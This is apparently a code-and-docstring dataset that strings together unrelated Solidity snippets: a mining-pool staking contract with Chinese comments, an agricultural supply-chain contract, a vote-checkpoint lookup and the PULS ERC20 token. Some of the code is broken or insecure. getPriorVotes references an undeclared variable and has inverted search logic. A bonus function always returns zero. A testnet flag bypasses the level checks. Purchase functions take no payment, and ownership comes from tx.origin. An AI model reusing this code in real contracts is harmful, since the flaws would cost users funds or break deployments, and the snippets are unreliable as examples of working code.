user.shares = calcUsrMingPoolShares(sender, user.amount);
user.rewardDebt = user.shares.mul(poolInfo[1].accGDXPerShare).div(1e12);
// 更新矿池排名
updateMinePoolRank(pid, user.amount);
emit UnstakingGDX(sender, amount);
return true;
}
// 矿池总数量
function getTotalPoolNum() public view returns (uint256) {
return (minePoolInfo.length).sub(1);
}
// 获取用户等级
function getLevel(address owner) public view returns (uint256) {
return levelMapping[owner];
}
// 获取获取推荐
function getReferList(address usr) public view returns (address[] memory) {
uint256 referLen = refer.getReferLength(usr);
address[] memory addrList = new address[](referLen);
for(uint256 i = 0; i < referLen; i++) {
addrList[i] = refer.referList(usr, i);
}
return addrList;
}
// 是否可升级等级？
function canUpgradeLevel(address owner, uint256 levl) public view returns (bool) {
///////////////////////////////////////////
if (flagTestNet) {
return true;
}
///////////////////////////////////////////
address sender = msg.sender;
if (levelMapping[owner] >= levl || levl >= LEVEL_5) {
return false;
}
// 获取推荐列表
address[] memory list = getReferList(sender);
uint256 cnt = 0;
for(uint256 i = 0; i < list.length; i++) {
address addr = list[i];
uint256 balance = ITRC20(gamma).balanceOf(addr);
uint256 stakingPower = getUsrMiningPower(addr);
if (getLevel(addr) >= levl - 1 && (balance >= minStakingGAMMA || stakingPower >= minStakingGAMMA)) {
cnt++;
}
}
if (cnt < UPGRADE_REFER_COUNT) {
return false;
}
return true;
}
// 升级V
function upgradeLevel(address owner, uint256 levl) public {
address sender = msg.sender;
uint origin = levelMapping[owner];
///////////////////////////////////////////
if (flagTestNet) {
levelMapping[sender] = levl;
return;
}
///////////////////////////////////////////
require(origin < levl && levl < LEVEL_5, "cannot upgrade level");
// 获取推荐列表
address[] memory list = getReferList(sender);
uint256 cnt = 0;
for(uint256 i = 0; i < list.length; i++) {
address addr = list[i];
uint256 balance = ITRC20(gamma).balanceOf(addr);
uint256 stakingPower = getUsrMiningPower(addr);
if (getLevel(addr) >= levl - 1 && (balance >= minStakingGAMMA || stakingPower >= minStakingGAMMA)) {
cnt++;
}
}
require(cnt >= UPGRADE_REFER_COUNT, "upgrade failed, insufficient referrer count");
levelMapping[sender] = levl;
emit UpgradeLevel(sender, levl);
}
// 获取矿池算力加成因子
// 返回结果放大了1000倍
function getMinePoolAddition(uint256 level) internal pure returns (uint256) {
uint256 multiplier = 0;
if (level == 3) {
multiplier = 50;
} else if (level == 4) {
multiplier = 80;
} else if (level == 5) {
multiplier = 100;
}
return 0;
}
// 查询top K矿池列表，返回的是矿池id列表
function getTopKPools(uint256 k) public view returns (uint256[] memory) {
return getTop(k);
}
// 查询全网算力
function getTotalPower() public view returns (uint256) {
return totalPower;
}
// 获取用户所属的矿池id
function getUserMinePoolID(address user) public view returns (uint256, bool) {
// 1. 若用户为矿主，则返回其矿池id 和 true (表示为矿主)
// 2. 若第1步中，id为0，表示用户尚未开通矿池，则返回其推荐人的的矿池id 和 false (表示非矿主)
bool isPoolOwner = false;
uint256 id = userMinePoolInfo[user].id;
if (0 != id) {
isPoolOwner = true;
} else {
address referrer = refer.getReferrer(user);
id = userMinePoolInfo[referrer].id;
}
return (id, isPoolOwner);
}
// 获取用户所属的矿池总人数
function getUserMinePoolTotalAddress(address usr) public view returns (uint256) {
uint256 id = userMinePoolInfo[usr].id;
return minePoolInfo[id].totalAddress;
}
// 矿池中质押的GDX数量
function getUserMingPoolGDXAmount(address usr) public view returns (uint256) {
return userMinePoolInfo[usr].amount;
}
// 我的推荐权重
function getReferPower(address usr) public view returns (uint256) {
return userInfo[usr].referPower;
}
// 我的矿池权重
function getUsrPoolPower(address usr) public view returns (uint256) {
uint256 pid;
bool isPoolOwner;
(pid, isPoolOwner) = getUserMinePoolID(usr);
if (!isPoolOwner) { // 非矿主，返回0
return 0;
}
return minePoolInfo[pid].totalPower;
}
// 我的质押挖矿权重
function getUsrMiningPower(address usr) public view returns (uint256) {
UserInfo storage info = userInfo[usr];
return info.stakingPower;
}
// 我的矿池收益
function getUsrMiningBonus(address usr) public view returns (uint256) {
uint256 id = userMinePoolInfo[usr].id;
return minePoolInfo[id].totalBonus;
}
// 我的累计收益
function getUsrTotalBonus(address usr) public view returns (uint256) {
UserInfo storage info = userInfo[usr];
return info.totalBonus;
}
// 我的当前运行周期
function getUsrPeriod(address usr) public view returns (uint256) {
uint256 base = 1 days;
if (flagTestNet) {
base = 1 hours;
}
UserInfo storage info = userInfo[usr];
if (0 == info.unStakingAt) {
return 0;
}
return (block.timestamp.sub(info.unStakingAt)).div(base);
}
// 我的权重占比
function getUsrWeightPercent(address usr) public view returns (uint256) {
if (totalPower <= 0) {
return 0;
}
uint256 shares = userInfo[usr].shares;
return shares.mul(1e8).div(totalPower);
}
// 我的周期加成
function getExtraPower(address usr) public view returns (uint256) {
uint256 base = 10 days;
if (flagTestNet) {
base = 1 hours;
}
UserInfo storage info = userInfo[usr];
require(block.timestamp >= info.unStakingAt, "getExtraPower failed!");
uint256 delta = (block.timestamp.sub(info.unStakingAt)).div(base);
if (delta > 3) {
delta = 3;
}
// 小于最小质押数量，不统计权重
if (info.stakingPower < minStakingGAMMA) {
return 0;
}
return info.stakingPower.mul(5).mul(delta).div(100);
}
// 我的推荐记录数量
function referRecordsLength(address usr) public view returns (uint256) {
return referRecords[usr].length;
}
// 我的有效邀请算力
function getRealReferPower(address usr) public view returns (uint256) {
UserInfo storage info = userInfo[usr];
// 小于最小质押数量，不统计权重
if (info.stakingPower < minStakingGAMMA) {
return 0;
}
return info.referPower;
}
// 我的总邀请算力
function getTotalReferPower(address usr) public view returns (uint256) {
uint256 len = referRecordsLength(usr);
uint totalReferPower = 0;
for (uint256 i = 0; i < len; i++) {
totalReferPower = totalReferPower.add(referRecords[usr][i].amount);
}
return totalReferPower;
}
// Safe GDX transfer function, just in case if rounding error causes pool to not have enough GDXs.
function safeGDXTransfer(address _to, uint256 _amount) internal {
uint256 gdxBal = gdx.balanceOf(address(this));
if (_amount > gdxBal) {
gdx.transfer(_to, gdxBal);
} else {
gdx.transfer(_to, _amount);
}
}
// Update GDX Token ownership, for upgrade
function transferGDXTokenOwnership(address newOwner) public onlyOwner {
gdx.transferOwnership(newOwner);
}
function withdrawGAMMA(uint256 amount) public onlyOwner returns (bool) {
ITRC20(gamma).transfer(msg.sender, amount);
return true;
}
function withdrawGDX(uint256 amount) public onlyOwner returns (bool) {
safeGDXTransfer(msg.sender, amount);
return true;
}
}
|
解除矿池质押的GDX 检查是否为矿主 分配矿池收益 结算矿主收益 更新用户信息 更新矿池排名
|
function unstakingGDX(uint256 amount) public returns (bool) {
address sender = msg.sender;
uint256 pid;
bool isPoolOwner;
(pid, isPoolOwner) = getUserMinePoolID(sender);
require(pid != 0 && isPoolOwner, "no pool or not pool owner");
MinePool storage pool = minePoolInfo[pid];
UserMinePool storage user = userMinePoolInfo[sender];
require(pool.owner == sender, "only pool owner can operate");
require(user.amount >= amount, "unstaking amount too large than user");
updatePool(1);
payMinePoolOwnerBonus(pool.id, sender);
require(gdx.transfer(msg.sender, amount), "unstakingGDX: transfer failed");
user.amount = user.amount.sub(amount);
user.shares = calcUsrMingPoolShares(sender, user.amount);
user.rewardDebt = user.shares.mul(poolInfo[1].accGDXPerShare).div(1e12);
updateMinePoolRank(pid, user.amount);
emit UnstakingGDX(sender, amount);
return true;
}
| 5,386,503
|
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./partial_match/8453/0xBcFF559E85791cEDcF2541d1f20c9471801D1f02/sources/contracts/Libraries/LibPayments.sol
|
@dev Fetch local storage solhint-disable-next-line no-inline-assembly
|
function paymentStorage() internal pure returns (PaymentStorage storage payStor) {
bytes32 position = NAMESPACE;
assembly {
payStor.slot := position
}
}
| 16,713,696
|
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pragma solidity >=0.4.24;
contract SupplyChain{
//model a landlord
struct Landlord{
uint landlordID;
string landlordName;
uint landlordContact;
string landlordAddress;
address laddr;
bool isValue;
}
//model a seed dealer
struct SeedDealer{
uint dealerID;
string dealerName;
string dealerAddress;
uint dealerContact;
address saddr;
bool isValue;
}
//model a seed
struct Seed{
uint seedID;
string seedName;
uint seedQuantity;
bool isBought;
bool isSale;
uint seedcost;
address saddr;
address faddr;
}
//model a fertilizer
struct Fertilizer{
uint fertilizerID;
string fertilizerName;
uint fertilizerQuantity;
bool isBought;
bool isSale;
uint fertilizerCost;
address saddr;
address faddr;
}
//model a land
struct Landsale{
uint landID;
string landAddress;
string soilType;
//uint temperature;
//uint humidity;
//string cropType;
uint area;
uint cost;
bool isBought;
bool isSale;
address laddr;
address faddr;
}
//model a landlease
struct Landlease{
uint landID;
string landAddress;
string soilType;
//uint temperature;
//uint humidity;
//string cropType;
uint area;
uint cost;
uint duration;
bool isBought;
bool isLease;
address laddr;
address faddr;
}
//model a farmer
struct Farmer {
uint farmerID;
string farmerName;
uint farmerContact;
string farmerAddress;
address faddr;
bool isValue;
}
//model crop
struct Crop{
uint cropID;
string cropName;
uint quantity;
uint cropPrice;
address faddr;
address daddr;
address raddr;
address caddr;
bool isBought;
bool isBoughtByRetailer;
bool isBoughtByConsumer;
}
//model a distributor
struct Distributor{
uint distID;
string distName;
uint distContact;
string distAddress;
address daddr;
bool isValue;
}
//model a retailer
struct Retailer{
uint retailID;
string retailName;
uint retailContact;
string retailAddress;
address raddr;
bool isValue;
}
//model a consumer
struct Consumer{
uint consumerID;
string consumerName;
uint consumerContact;
string consumerAddress;
address caddr;
bool isValue;
}
mapping(address => Landlord) public mlandlord;
mapping(address => SeedDealer) public mdealer;
mapping(uint => Landlease) public mlland;
mapping(uint => Landsale) public msland;
mapping(address => Farmer) public mfarmer;
mapping(uint => Seed) public mseed;
mapping(uint => Fertilizer) public mfertilizer;
mapping(uint => Crop) public mcrop;
mapping(uint => Crop) public conscrop;
mapping(address => Distributor) public mdist;
mapping(address => Retailer) public mretail;
mapping(address => Consumer) public mconsumer;
//count of crop
uint[] public leaseArr;
uint[] public saleArr;
uint[] public seedArr;
uint[] public fertilizerArr;
uint[] public cropArr;
uint[] public distCropArr;
uint[] public consumerCropArr;
address[] public farmerAdd;
address[] public distAdd;
address[] public retailAdd;
address[] public consAdd;
uint public landlordCount;
uint public dealerCount;
uint public leaseCount;
uint public seedCount;
uint public fertilizerCount;
uint public saleCount;
uint public farmerCount;
uint public cropCount;
uint public distCount;
uint public retailCount;
uint public consumerCount;
//event for landlord
event landlordCreated(
uint landlordID,
string landlordName,
uint landlordContact,
string landlordAddress
);
//event for land sale
event landForSale (
uint landID,
string landAddress,
string soilType,
//uint temperature,
//uint humidity,
//string cropType,
uint area,
uint cost
);
//event for lease
event landForLease(
uint landID,
string landAddress,
string soilType,
//uint temperature,
//uint humidity,
//string cropType,
uint area,
uint cost,
uint duration
);
//event for seedDealer
event seedDealerCreated(
uint dealerID,
string dealerName,
uint dealerContact,
string dealerAddress
);
//event for seedCreated
event seedCreated(
uint seedID,
string seedName,
uint seedcost,
uint seedQuantity
);
//event for fertilizerCreated
event fertilizerCreated(
uint fertilizerID,
string fertilizerName,
uint fertilizerCost,
uint fertilizerQuantity
);
// event for farmer
event farmerCreated (
uint farmerID,
string farmerName,
uint farmerContact,
string farmerAddress
);
// event for crop
event cropCreated (
uint cropID,
string cropName,
uint quantity,
uint cropPrice,
address faddr
);
//event for farmer land purchase
event landPurchaseLease (
uint landID
);
event landPurchaseSale (
uint landID
);
//evbent for seed purchase
event seedPurchase(
uint seedID
);
//event for fertilizer purchase
event fertilizerPurchase(
uint fertilizerID
);
//event for distributor
event distCreated (
uint distID,
string distName,
uint distContact,
string distAddress
);
//event for distributor crop
event distCrop (
uint cropID
);
//event for retailer
event retailCreated (
uint retailID,
string retailName,
uint retailContact,
string retailAddress
);
//event for retail adding crop
event retailCrop (
uint cropID
);
//event for consumer
event consumerCreated(
uint consumerID,
string consumerName,
uint consumerContact,
string consumerAddress
);
// event for consumer adding crop
event consumerCrop(
uint cropID
);
//add new Landlord
function newLandlord(
uint _landlordID,
string memory _landlordName,
uint _landlordContact,
string memory _landlordAddress
) public {
Landlord storage _newlandlord = mlandlord[msg.sender];
// Only allows new records to be created
require(!mlandlord[msg.sender].isValue);
_newlandlord.laddr = msg.sender;
_newlandlord.landlordID = _landlordID;
_newlandlord.landlordName = _landlordName;
_newlandlord.landlordAddress = _landlordAddress;
_newlandlord.landlordContact = _landlordContact;
_newlandlord.isValue = true;
landlordCount++;
emit landlordCreated(_newlandlord.landlordID, _landlordName, _landlordContact,_landlordAddress);
}
//landlord adds new land for sale
function addLandSale (
uint _landID,
string memory _landAddress,
string memory _soilType,
//uint _temperature,
//uint _humidity,
//string memory _cropType,
uint _area,
uint _cost
) public {
Landsale storage _newland = msland[_landID];
_newland.laddr = msg.sender;
_newland.landID = _landID;
_newland.landAddress = _landAddress;
_newland.soilType = _soilType;
//_newland.temperature=_temperature;
//_newland.humidity=_humidity;
//_newland.cropType=_cropType;
_newland.area=_area;
_newland.cost=_cost;
saleCount++;
saleArr.push(_landID);
emit landForSale(_newland.landID, _landAddress, _soilType,_area,_cost);
}
// //lease function
function addLandLease (
uint _landID,
// string memory _landName,
string memory _landAddress,
string memory _soilType,
//uint _temperature,
//uint _humidity,
//string memory _cropType,
uint _area,
uint _cost,
uint _duration
) public {
Landlease storage _newland = mlland[_landID];
_newland.laddr = msg.sender;
_newland.landID = _landID;
// _newland.landName = _landName;
_newland.landAddress = _landAddress;
_newland.soilType = _soilType;
//_newland.temperature=_temperature;
//_newland.humidity=_humidity;
//_newland.cropType=_cropType;
_newland.area=_area;
_newland.cost=_cost;
_newland.duration=_duration;
leaseCount++;
leaseArr.push(_landID);
emit landForLease(_newland.landID, _landAddress, _soilType,_area,_cost,_duration);
}
//add new seedDealer
function newSeedDealer (
uint _dealerID,
string memory _dealerName,
uint _dealerContact,
string memory _dealerAddress
) public {
SeedDealer storage _newdealer = mdealer[msg.sender];
// Only allows new records to be created
require(!mdealer[msg.sender].isValue);
_newdealer.saddr = msg.sender;
_newdealer.dealerID = _dealerID;
_newdealer.dealerName = _dealerName;
_newdealer.dealerAddress = _dealerAddress;
_newdealer.dealerContact = _dealerContact;
_newdealer.isValue = true;
dealerCount++;
emit seedDealerCreated(_newdealer.dealerID, _dealerName, _dealerContact,_dealerAddress);
}
//add new seed
function newSeed (
uint _seedID,
string memory _seedName,
uint _seedcost,
uint _seedQuantity
) public {
Seed storage _newseed = mseed[_seedID];
// Only allows new records to be created
//require(!mseed[msg.sender].isValue);
_newseed.saddr = msg.sender;
_newseed.seedID = _seedID;
_newseed.seedName = _seedName;
_newseed.seedcost = _seedcost;
_newseed.seedQuantity = _seedQuantity;
//_newseed.isValue = true;
seedArr.push(_seedID);
seedCount++;
emit seedCreated(_newseed.seedID, _seedName, _seedcost, _seedQuantity);
}
//add new fertilizer
function newFertilizer (
uint _fertilizerID,
string memory _fertilizerName,
uint _fertilizerCost,
uint _fertilizerQuantity
) public {
Fertilizer storage _newfertilizer = mfertilizer[_fertilizerID];
// Only allows new records to be created
//require(!mfertilizer[msg.sender].isValue);
_newfertilizer.saddr = msg.sender;
_newfertilizer.fertilizerID = _fertilizerID;
_newfertilizer.fertilizerName = _fertilizerName;
_newfertilizer.fertilizerCost = _fertilizerCost;
_newfertilizer.fertilizerQuantity = _fertilizerQuantity;
// _newfertilizer.isValue = true;
fertilizerArr.push(_fertilizerID);
fertilizerCount++;
emit fertilizerCreated(_newfertilizer.fertilizerID, _fertilizerName, _fertilizerCost, _fertilizerQuantity);
}
//add new farmer
function newFarmer (
uint _farmerID,
string memory _farmerName,
uint _farmerContact,
string memory _farmerAddress
) public {
Farmer storage _newfarmer = mfarmer[msg.sender];
// Only allows new records to be created
require(!mfarmer[msg.sender].isValue);
_newfarmer.faddr = msg.sender;
_newfarmer.farmerID = _farmerID;
_newfarmer.farmerName = _farmerName;
_newfarmer.farmerAddress = _farmerAddress;
_newfarmer.farmerContact = _farmerContact;
_newfarmer.isValue = true;
farmerAdd.push(msg.sender);
farmerCount++;
emit farmerCreated(_newfarmer.farmerID, _farmerName, _farmerContact,_farmerAddress);
}
//add crop by old farmer
function addCrop(
uint _cropID,
string memory _cropName,
uint _quantity,
uint _cropPrice
) public {
Crop storage _newcrop = mcrop[_cropID];
Crop storage _newconscrop = conscrop[_cropID];
//Farmer storage _newfarmer = mfarmer[_farmerID];
_newcrop.faddr = msg.sender;
_newcrop.cropID = _cropID;
_newcrop.cropName = _cropName;
_newcrop.quantity = _quantity;
_newcrop.cropPrice = _cropPrice;
_newconscrop.faddr = msg.sender;
_newconscrop.cropID = _cropID;
_newconscrop.cropName = _cropName;
_newconscrop.quantity = 0;
_newconscrop.cropPrice = _cropPrice;
cropCount++;
cropArr.push(_cropID);
emit cropCreated(_newcrop.cropID, _cropName, _quantity, _cropPrice, _newcrop.faddr);
}
//farmer purchase land lease
function purchaseLandLease (
uint _landID
) public {
Landlease storage _newland = mlland[_landID];
_newland.isBought = true;
_newland.faddr=msg.sender;
emit landPurchaseLease(_newland.landID);
}
//farmer purchase sale
function purchaseLandSale (
uint _landID
) public {
Landsale storage _newland = msland[_landID];
_newland.isBought = true;
_newland.faddr=msg.sender;
emit landPurchaseSale(_newland.landID);
}
//farmer purchase seed
function purchaseSeed (
uint _seedID
) public {
Seed storage _newseed = mseed[_seedID];
_newseed.faddr=msg.sender;
_newseed.isBought=true;
emit seedPurchase(_newseed.seedID);
}
//farmer purchase fertilizer
function purchaseFertilizer (
uint _fertilizerID
) public {
Fertilizer storage _newfertilizer = mfertilizer[_fertilizerID];
_newfertilizer.isBought=true;
_newfertilizer.faddr=msg.sender;
emit fertilizerPurchase(_newfertilizer.fertilizerID);
}
//add new distributor
function addDist(
uint _distID,
string memory _distName,
uint _distContact,
string memory _distAddress
) public {
Distributor storage _newdist = mdist[msg.sender];
require(!mdist[msg.sender].isValue);
_newdist.daddr = msg.sender;
_newdist.distID = _distID;
_newdist.distName = _distName;
_newdist.distContact = _distContact;
_newdist.distAddress = _distAddress;
_newdist.isValue = true;
distAdd.push(msg.sender);
distCount++;
emit distCreated(_newdist.distID, _distName, _distContact, _distAddress);
}
//crop purchased by distributor
function distAddCrop(
uint _cropID
) public {
Crop storage _newcrop = mcrop[_cropID];
Crop storage _newconscrop = conscrop[_cropID];
_newcrop.daddr = msg.sender;
_newcrop.isBought = true;
_newconscrop.daddr = msg.sender;
_newconscrop.isBought = true;
emit distCrop(_newcrop.cropID);
}
//add new retailer
function addRetail(
uint _retailID,
string memory _retailName,
uint _retailContact,
string memory _retailAddress
) public {
Retailer storage _newretail = mretail[msg.sender];
require(!mretail[msg.sender].isValue);
_newretail.raddr = msg.sender;
_newretail.retailID = _retailID;
_newretail.retailName = _retailName;
_newretail.retailContact = _retailContact;
_newretail.retailAddress = _retailAddress;
_newretail.isValue = true;
retailAdd.push(msg.sender);
retailCount++;
emit retailCreated(_newretail.retailID, _retailName, _retailContact, _retailAddress);
}
//purchase crop by retailer
function retailAddCrop(
uint _cropID
) public {
Crop storage _newcrop = mcrop[_cropID];
Crop storage _newconscrop = conscrop[_cropID];
_newcrop.raddr = msg.sender;
_newcrop.isBoughtByRetailer = true;
_newconscrop.raddr = msg.sender;
_newconscrop.isBoughtByRetailer = true;
emit retailCrop(_newcrop.cropID);
}
//add new consumer
function addconsumer(
uint _consumerID,
string memory _consumerName,
uint _consumerContact,
string memory _consumerAddress
) public {
Consumer storage _newconsumer = mconsumer[msg.sender];
require(!mconsumer[msg.sender].isValue);
_newconsumer.caddr = msg.sender;
_newconsumer.consumerID = _consumerID;
_newconsumer.consumerName = _consumerName;
_newconsumer.consumerContact = _consumerContact;
_newconsumer.consumerAddress = _consumerAddress;
_newconsumer.isValue = true;
consAdd.push(msg.sender);
consumerCount++;
emit consumerCreated(_newconsumer.consumerID, _consumerName, _consumerContact, _consumerAddress);
}
//purchase crop by consumer
function consumerAddCrop(
uint _cropID,
uint quantity
) public {
Crop storage _newcrop = mcrop[_cropID];
Crop storage _newconscrop = conscrop[_cropID];
_newcrop.caddr = msg.sender;
_newcrop.isBoughtByConsumer = true;
_newcrop.quantity = _newcrop.quantity - quantity;
_newconscrop.caddr = msg.sender;
_newconscrop.isBoughtByConsumer = true;
_newconscrop.quantity = _newconscrop.quantity + quantity;
emit consumerCrop(_newcrop.cropID);
}
}
|
purchase crop by consumer
|
function consumerAddCrop(
uint _cropID,
uint quantity
) public {
Crop storage _newcrop = mcrop[_cropID];
Crop storage _newconscrop = conscrop[_cropID];
_newcrop.caddr = msg.sender;
_newcrop.isBoughtByConsumer = true;
_newcrop.quantity = _newcrop.quantity - quantity;
_newconscrop.caddr = msg.sender;
_newconscrop.isBoughtByConsumer = true;
_newconscrop.quantity = _newconscrop.quantity + quantity;
emit consumerCrop(_newcrop.cropID);
}
| 15,796,782
|
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./partial_match/97/0x6c03C06c63c8631e517f4cC232A6054b2b95C5A8/sources/noname2.sol
|
* @notice Determine the prior number of votes for an account as of a block number @dev Block number must be a finalized block or else this function will revert to prevent misinformation. @param account The address of the account to check @param blockNumber The block number to get the vote balance at @return The number of votes the account had as of the given block/ First check most recent balance Next check implicit zero balance
|
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "noname2::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
lower = center;
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
| 11,376,065
|
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pragma solidity ^0.4.21;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = tx.origin;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
*
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) onlyOwner public {
require(_newOwner != address(0));
owner = _newOwner;
}
}
/**
* @title BasicERC20 token.
* @dev Basic version of ERC20 token with allowances.
*/
contract BasicERC20Token is Ownable {
using SafeMath for uint256;
uint256 public totalSupply;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @dev Function to check the amount of tokens for address.
*
* @param _owner Address which owns the tokens.
*
* @return A uint256 specifing the amount of tokens still available to the owner.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Function to check the total supply of tokens.
*
* @return The uint256 specifing the amount of tokens which are held by the contract.
*/
function getTotalSupply() public view returns (uint256) {
return totalSupply;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
*
* @param _owner Address which owns the funds.
* @param _spender Address which will spend the funds.
*
* @return The uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* @dev Internal function to transfer tokens.
*
* @param _from Address of the sender.
* @param _to Address of the recipient.
* @param _amount Amount to send.
*
* @return True if the operation was successful.
*/
function _transfer(address _from, address _to, uint256 _amount) internal returns (bool) {
require (_from != 0x0); // Prevent transfer to 0x0 address
require (_to != 0x0); // Prevent transfer to 0x0 address
require (balances[_from] >= _amount); // Check if the sender has enough tokens
require (balances[_to] + _amount > balances[_to]); // Check for overflows
uint256 length;
assembly {
length := extcodesize(_to)
}
require (length == 0);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Function to transfer tokens.
*
* @param _to Address of the recipient.
* @param _amount Amount to send.
*
* @return True if the operation was successful.
*/
function transfer(address _to, uint256 _amount) public returns (bool) {
_transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Transfer tokens from other address.
*
* @param _from Address of the sender.
* @param _to Address of the recipient.
* @param _amount Amount to send.
*
* @return True if the operation was successful.
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) {
require (allowed[_from][msg.sender] >= _amount); // Check if the sender has enough
_transfer(_from, _to, _amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* @param _spender Address which will spend the funds.
* @param _amount Amount of tokens to be spent.
*
* @return True if the operation was successful.
*/
function approve(address _spender, uint256 _amount) public returns (bool) {
require (_spender != 0x0); // Prevent transfer to 0x0 address
require (_amount >= 0);
require (balances[msg.sender] >= _amount); // Check if the msg.sender has enough to allow
if (_amount == 0) allowed[msg.sender][_spender] = _amount;
else allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_amount);
emit Approval(msg.sender, _spender, _amount);
return true;
}
}
/**
* @title PULS token
* @dev Extends ERC20 token.
*/
contract PULSToken is BasicERC20Token {
// Public variables of the token
string public constant name = 'PULS Token';
string public constant symbol = 'PULS';
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 88888888000000000000000000;
address public crowdsaleAddress;
// Public structure to support token reservation.
struct Reserve {
uint256 pulsAmount;
uint256 collectedEther;
}
mapping (address => Reserve) reserved;
// Public structure to record locked tokens for a specific lock.
struct Lock {
uint256 amount;
uint256 startTime; // in seconds since 01.01.1970
uint256 timeToLock; // in seconds
bytes32 pulseLockHash;
}
// Public list of locked tokens for a specific address.
struct lockList{
Lock[] lockedTokens;
}
// Public list of lockLists.
mapping (address => lockList) addressLocks;
/**
* @dev Throws if called by any account other than the crowdsale address.
*/
modifier onlyCrowdsaleAddress() {
require(msg.sender == crowdsaleAddress);
_;
}
event TokenReservation(address indexed beneficiary, uint256 sendEther, uint256 indexed pulsAmount, uint256 reserveTypeId);
event RevertingReservation(address indexed addressToRevert);
event TokenLocking(address indexed addressToLock, uint256 indexed amount, uint256 timeToLock);
event TokenUnlocking(address indexed addressToUnlock, uint256 indexed amount);
/**
* @dev The PULS token constructor sets the initial supply of tokens to the crowdsale address
* account.
*/
function PULSToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
crowdsaleAddress = msg.sender;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Payable function.
*/
function () external payable {
}
/**
* @dev Function to check reserved amount of tokens for address.
*
* @param _owner Address of owner of the tokens.
*
* @return The uint256 specifing the amount of tokens which are held in reserve for this address.
*/
function reserveOf(address _owner) public view returns (uint256) {
return reserved[_owner].pulsAmount;
}
/**
* @dev Function to check reserved amount of tokens for address.
*
* @param _buyer Address of buyer of the tokens.
*
* @return The uint256 specifing the amount of tokens which are held in reserve for this address.
*/
function collectedEtherFrom(address _buyer) public view returns (uint256) {
return reserved[_buyer].collectedEther;
}
/**
* @dev Function to get number of locks for an address.
*
* @param _address Address who owns locked tokens.
*
* @return The uint256 length of array.
*/
function getAddressLockedLength(address _address) public view returns(uint256 length) {
return addressLocks[_address].lockedTokens.length;
}
/**
* @dev Function to get locked tokens amount for specific address for specific lock.
*
* @param _address Address of owner of locked tokens.
* @param _index Index of specific lock.
*
* @return The uint256 specifing the amount of locked tokens.
*/
function getLockedStructAmount(address _address, uint256 _index) public view returns(uint256 amount) {
return addressLocks[_address].lockedTokens[_index].amount;
}
/**
* @dev Function to get start time of lock for specific address.
*
* @param _address Address of owner of locked tokens.
* @param _index Index of specific lock.
*
* @return The uint256 specifing the start time of lock in seconds.
*/
function getLockedStructStartTime(address _address, uint256 _index) public view returns(uint256 startTime) {
return addressLocks[_address].lockedTokens[_index].startTime;
}
/**
* @dev Function to get duration time of lock for specific address.
*
* @param _address Address of owner of locked tokens.
* @param _index Index of specific lock.
*
* @return The uint256 specifing the duration time of lock in seconds.
*/
function getLockedStructTimeToLock(address _address, uint256 _index) public view returns(uint256 timeToLock) {
return addressLocks[_address].lockedTokens[_index].timeToLock;
}
/**
* @dev Function to get pulse hash for specific address for specific lock.
*
* @param _address Address of owner of locked tokens.
* @param _index Index of specific lock.
*
* @return The bytes32 specifing the pulse hash.
*/
function getLockedStructPulseLockHash(address _address, uint256 _index) public view returns(bytes32 pulseLockHash) {
return addressLocks[_address].lockedTokens[_index].pulseLockHash;
}
/**
* @dev Function to send tokens after verifing KYC form.
*
* @param _beneficiary Address of receiver of tokens.
*
* @return True if the operation was successful.
*/
function sendTokens(address _beneficiary) onlyOwner public returns (bool) {
require (reserved[_beneficiary].pulsAmount > 0); // Check if reserved tokens for _beneficiary address is greater then 0
_transfer(crowdsaleAddress, _beneficiary, reserved[_beneficiary].pulsAmount);
reserved[_beneficiary].pulsAmount = 0;
return true;
}
/**
* @dev Function to reserve tokens for buyer after sending ETH to crowdsale address.
*
* @param _beneficiary Address of reserver of tokens.
* @param _pulsAmount Amount of tokens to reserve.
* @param _eth Amount of eth sent in transaction.
*
* @return True if the operation was successful.
*/
function reserveTokens(address _beneficiary, uint256 _pulsAmount, uint256 _eth, uint256 _reserveTypeId) onlyCrowdsaleAddress public returns (bool) {
require (_beneficiary != 0x0); // Prevent transfer to 0x0 address
require (totalSupply >= _pulsAmount); // Check if such tokens amount left
totalSupply = totalSupply.sub(_pulsAmount);
reserved[_beneficiary].pulsAmount = reserved[_beneficiary].pulsAmount.add(_pulsAmount);
reserved[_beneficiary].collectedEther = reserved[_beneficiary].collectedEther.add(_eth);
